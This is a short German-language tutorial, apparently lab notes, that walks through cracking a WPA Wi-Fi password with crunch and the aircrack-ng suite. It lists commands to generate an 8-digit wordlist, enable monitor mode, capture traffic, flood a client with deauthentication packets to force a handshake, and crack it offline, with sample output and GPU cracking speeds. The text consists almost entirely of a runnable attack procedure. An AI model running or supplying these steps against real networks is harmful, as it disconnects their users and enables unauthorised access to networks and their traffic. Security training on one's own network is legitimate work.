Wlan Bruteforce Attacke Praxis

Passwordliste generieren

• crunch 8 8 0123456789 -o password.lst

Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

Stoppen von störenden Diensten

• systemctl stop avahi-daemon
• systemctl stop NetworkManager

Interface suchen

• airmon-ng

PHY     Interface       Driver          Chipset

phy0    wlan0           rtl8192cu       Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]

Wenn störende Prozesse angezeigt werden diese "killen"

Interface Monitor mode

• airmon-ng start wlan0

Checken

• airmon-ng check wlan0

Wlans anzeigen

• airodump-ng wlan0

Wir suchen nach der BSSID und dem Channel von "dd-xinux"

Wir suchen nach einer STADION die sich mit "dr-xinux" verbindet

Handshake besorgen

• source data
• airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan.cap wlan0

(sends deauthentication packets) im zweiten Fenster

• source data
• aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTADION> wlan0

18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel6
.....
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:^C:E8] [ 0| 9 ACKs]

bis der client rausfliegt

Nach dem Wiederverbinden kommt der handshake

Handshake erhalten

HANDSHAKE=00:18:F8:DA:F7:94

Cracken

• aircrack-ng -w password.lst -b <BSSIDAP> wlan.cap-01.cap

Crack Geschwindigkeiten

• Laptop schafft circa 1000 Keys pro Sekunde
• Eine starke Grafikkarte (Titan XP) schaft 520000 hash/s
• Online Rechenpower mieten
• Cluster aus mehreren Grafikkarten bauen

Video

• https://www.youtube.com/watch?v=vnLfCtpANvI